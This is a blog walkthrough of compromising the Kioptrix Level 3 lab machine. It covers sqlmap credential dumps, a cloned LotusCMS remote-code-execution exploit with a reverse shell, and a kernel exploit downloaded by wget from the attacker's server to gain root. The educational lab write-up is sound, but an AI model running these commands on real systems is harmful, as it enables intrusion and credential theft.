← Back to list

Kioptrix Level 3 Walkthrough: From Enumeration to Root

Introduction

Yussif Selim · 2026-06-11 05:51 · 0 claps · 8.2 min read
#kioptrix #kioptrix-level-3 #sql-injection #ssh #sqlmap
Open on Medium ↗

Kioptrix Level 3 Walkthrough: From Enumeration to Root

Introduction

Kioptrix Level 3 is one of the most interesting beginner-friendly vulnerable machines because it combines multiple concepts that every aspiring penetration tester should understand:

  • Network Discovery
  • Service Enumeration
  • Directory Enumeration
  • SQL Injection
  • Credential Discovery
  • Remote Code Execution
  • Shell Stabilization
  • Privilege Escalation

In this walkthrough, I will demonstrate how I compromised the machine step-by-step and eventually obtained root access.

Disclaimer: This machine was exploited in a controlled lab environment for educational purposes only.

Step 1 — Discovering the Target

Before attacking any machine, we first need to identify what devices exist on the local network.

For that purpose, I used arp-scan:

arp-scan -l

Why use arp-scan?

The arp-scan utility sends ARP requests across the local network and identifies active hosts. It is often faster than performing a complete Nmap sweep when working inside a lab environment.

Result

The scan revealed the target machine:

192.168.174.130

Step 2 — Service Enumeration

Once the target IP was identified, the next step was discovering exposed services.

nmap -sV -sC 192.168.174.130

Why these options?

-sV

Enables version detection and identifies the exact software running on each service.

-sC

Runs Nmap’s default safe enumeration scripts to gather additional information automatically.

Results

22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

Only two ports were exposed:

  • SSH (22)
  • HTTP (80)

Since web applications often provide a larger attack surface, I decided to investigate the web service first.

Step 3 — Directory Enumeration

Before manually browsing the website, I performed directory enumeration.

dirb http://192.168.174.130

Why use DIRB?

DIRB brute-forces common files and directories and helps discover hidden resources that may not be linked from the website.

Interesting Discovery

Among the discovered pages, one immediately stood out:

http://192.168.174.130/phpmyadmin/index.php

This indicated that phpMyAdmin was exposed publicly.

I made a note of this page because it could become useful later.

Step 4 — Manual Website Exploration

While exploring the application manually, I discovered the following page:

http://192.168.174.130/gallery/gallery.php?id=1

The URL parameter looked interesting because it directly accepted a numeric value.

To test whether the parameter interacted with a database query, I inserted a single quote:

'

The application responded with a SQL error.

You have an error in your SQL syntax...

Why is this important?

SQL errors often indicate that user input is being processed directly inside database queries.

This strongly suggested the presence of a SQL Injection vulnerability.

Step 5 — Confirming SQL Injection with SQLMap

Rather than manually extracting data, I used SQLMap.

sqlmap -u "http://192.168.174.130/gallery/gallery.php?id=1" --dbs

Why SQLMap?

SQLMap automates:

  • Detection
  • Enumeration
  • Database extraction

and significantly speeds up the assessment process.

Databases Found

gallery
information_schema
mysql

The custom application database was clearly:

gallery

Step 6 — Enumerating Tables

Next, I listed the tables inside the gallery database.

sqlmap -u "http://192.168.174.130/gallery/gallery.php?id=1" -D gallery --tables

Result

dev_accounts
gallarific_comments
gallarific_galleries
gallarific_photos
gallarific_settings
gallarific_stats
gallarific_users

Two tables immediately attracted attention:

dev_accounts
gallarific_users

Tables containing account information frequently contain credentials or password hashes.

Step 7 — Dumping Credentials

Dumping dev_accounts

sqlmap -u "http://192.168.174.130/gallery/gallery.php?id=1" -D gallery -T dev_accounts --dump

Result

username: dreg
password: Mast3r
username: loneferret
password: starwars

These credentials looked extremely valuable because developer accounts frequently reuse passwords across multiple services.

Dumping gallarific_users

sqlmap -u "http://192.168.174.130/gallery/gallery.php?id=1" -D gallery -T gallarific_users --dump

Result

username: admin
password: n0t7t1k4

This appeared to be an application administrator account.

Step 8 — Testing SSH Access

Since SSH was exposed on port 22, I attempted authentication using the discovered credentials.

ssh -oHostKeyAlgorithms=+ssh-rsa loneferret@192.168.174.130

The credentials worked successfully.

At this stage, I had obtained legitimate user-level access through credential reuse.

Step 9 — Discovering LotusCMS

While continuing to explore the website, I noticed a login page containing:

Proudly Powered by: LotusCMS

This immediately suggested a possible CMS-specific vulnerability.

A quick search using Searchsploit revealed available exploits.

searchsploit LotusCMS

After researching the vulnerability further, I found a public exploit script capable of achieving remote code execution.

You can visit it from the following link:

**https://github.com/Hood3dRob1n/LotusCMS-Exploit/blob/master/lotusRCE.sh**

Let’s clone and run.

git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit.git
./lotusRCE.sh http://192.168.174.130

If we try to run the lotusRCE.sh we can see the required syntax.

Step 10 — Obtaining Remote Code Execution

After cloning the exploit and configuring a listener, I successfully obtained a reverse shell.

The shell landed as:

www-data

Although not a privileged user, it provided direct command execution on the target system.

Now we have a shell but a normal user, www-data.

Step 11 — Local Enumeration

The first task after obtaining shell access was exploring the filesystem.

ls -la

One directory immediately stood out:

gallery

After entering the directory, I enumerated its contents.

cd gallery
ls -la

A configuration file named:

gconfig.php

caught my attention.

Configuration files frequently contain database credentials.

Step 12 — Finding Database Credentials

Reading the configuration file revealed:

$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "********";

This explained how the application connected to MySQL and also allowed access to the exposed phpMyAdmin interface discovered earlier.

At this point, full database administration access was available.

Step 13 — Stabilizing the Shell

The reverse shell was limited and lacked interactive terminal functionality.

To improve usability, I upgraded it to a fully interactive TTY shell.

Checking Available Interpreters

which bash
which sh
which python
which perl
which script

Spawning a TTY

python -c 'import pty; pty.spawn("/bin/bash")'
//Now press CTRL+Z to send the shell in the background
stty -a // get the rows and columns from the first line
stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in
// run the below commands on the compromised machine
stty rows 26 cols 118 // based on the output of stty -a
export TERM=xterm
export TERM=xterm-256color // for colors
exec /bin/bash 
// now you should have a full stable shell

After upgrading and configuring terminal settings, the shell became significantly more stable and easier to work with.

Benefits

  • Command history
  • Tab completion
  • Better text editing
  • Interactive programs

Step 14 — Kernel Enumeration

To search for privilege escalation opportunities, I gathered operating system information.

uname -a
lsb_release -a

Results

Ubuntu 8.04.3 LTS
Kernel 2.6.24

The operating system was extremely outdated, making kernel exploits a realistic attack vector.

Step 15 — Privilege Escalation

Using Searchsploit, I searched for kernel vulnerabilities affecting the detected version.

A known local privilege escalation vulnerability was identified.

After transferring, compiling, and executing the exploit, a new privileged account became available.

The newly created account enabled SSH authentication.

Upon login, the account possessed root privileges.

open an HTTP server

python3 -m http.server <any port > i choose 8080

On Target

wget http://192.168.174.128:8080/40839.c
gcc -pthread 40839.c -o 40839 -lcrypt

It will help you to create a new password. Type anything you want

. You got

username: firefart

from nmap scan, I found that ssh is open, I tried to use the firefart user to log in to ssh

ssh firefart@192.168.174.130

Step 16 — Root Access

After logging in, I verified full system compromise.

whoami
firefart
id
uid=0(firefart) gid=0(root) groups=0(root)

Output:

root

Mission accomplished.

And proof of root:

You can see the files in this account

ls -la
drwx------  5 firefart root  4096 2011-04-17 08:59 .
drwxr-xr-x 21 firefart root  4096 2011-04-11 16:54 ..
-rw-------  1 firefart root     9 2011-04-18 11:49 .bash_history
-rw-r--r--  1 firefart root  2227 2007-10-20 07:51 .bashrc
-rw-r--r--  1 firefart root  1327 2011-04-16 08:13 Congrats.txt
drwxr-xr-x 12 firefart root 12288 2011-04-16 07:26 ht-2.0.18
-rw-------  1 firefart root   963 2011-04-12 19:33 .mysql_history
-rw-------  1 firefart root   228 2011-04-18 11:09 .nano_history
-rw-r--r--  1 firefart root   141 2007-10-20 07:51 .profile
drwx------  2 firefart root  4096 2011-04-13 10:06 .ssh
drwxr-xr-x  3 firefart root  4096 2011-04-15 23:30 .subversion

There is a file named Congrats.txt that caught my attention.

We can read it :

cat Congrats.txt 

output:

Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.

I hope you enjoyed this third challenge.

Final Thoughts

Kioptrix Level 3 is an excellent machine for beginners because it demonstrates how several seemingly small weaknesses can combine into a full system compromise.

Key lessons learned:

  • Always enumerate thoroughly.
  • Hidden directories often expose sensitive services.
  • SQL Injection remains one of the most dangerous web vulnerabilities.
  • Credential reuse can provide unexpected access paths.
  • Configuration files frequently contain valuable secrets.
  • Proper shell stabilization improves post-exploitation significantly.
  • Legacy systems often contain publicly known privilege escalation vulnerabilities.

This challenge reinforces a critical penetration testing principle:

Enumeration is everything. The more information you collect, the easier exploitation becomes.

See You Soon, have a nice hacking.


메타데이터
post_id
8fbb0e6ab4cc
slug
kioptrix-level-3-walkthrough-from-enumeration-to-root-8fbb0e6ab4cc
url
https://medium.com/@yussifselim9/kioptrix-level-3-walkthrough-from-enumeration-to-root-8fbb0e6ab4cc
canonical_url
https://medium.com/@yussifselim9/kioptrix-level-3-walkthrough-from-enumeration-to-root-8fbb0e6ab4cc
author_url
https://medium.com/@yussifselim9
status
ok
fetched_at
2026-06-13 12:55:53